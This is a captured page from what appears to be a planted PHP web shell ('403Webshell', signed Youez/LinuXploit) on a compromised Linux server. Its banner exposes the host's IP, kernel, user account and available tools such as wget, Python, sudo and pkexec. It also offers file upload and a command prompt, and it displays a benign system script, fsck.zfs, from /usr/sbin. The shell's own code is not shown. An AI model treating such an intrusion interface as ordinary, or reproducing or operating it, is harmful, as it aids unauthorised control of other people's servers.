403Webshell
Server IP : 216.92.14.13  /  Your IP : 216.73.216.171
Web Server : Apache
System : Linux vps4089.pairvps.com 5.15.0-190-generic #200-Ubuntu SMP Fri Aug 7 15:06:04 UTC 2026 x86_64
User : rmlac2fmr ( 1040637)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/sbin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/sbin/fsck.zfs
#!/bin/sh
#
# fsck.zfs: A fsck helper to accommodate distributions that expect
# to be able to execute a fsck on all filesystem types.
#
# This script simply bubbles up some already-known-about errors,
# see fsck.zfs(8)
#

if [ "$#" = "0" ]; then
	echo "Usage: $0 [options] dataset…" >&2
	exit 16
fi

ret=0
for dataset in "$@"; do
	case "$dataset" in
		-*)
			continue
			;;
		*)
			;;
	esac

	pool="${dataset%%/*}"

	case "$(/sbin/zpool list -Ho health "$pool")" in
		DEGRADED)
			ret=$(( ret | 4 ))
			;;
		FAULTED)
			awk '!/^([[:space:]]*#.*)?$/ && $1 == "'"$dataset"'" && $3 == "zfs" {exit 1}' /etc/fstab || \
				ret=$(( ret | 8 ))
			;;
		"")
			# Pool not found, error printed by zpool(8)
			ret=$(( ret | 8 ))
			;;
		*)
			;;
	esac
done

exit "$ret"

Youez - 2016 - github.com/yon3zu
LinuXploit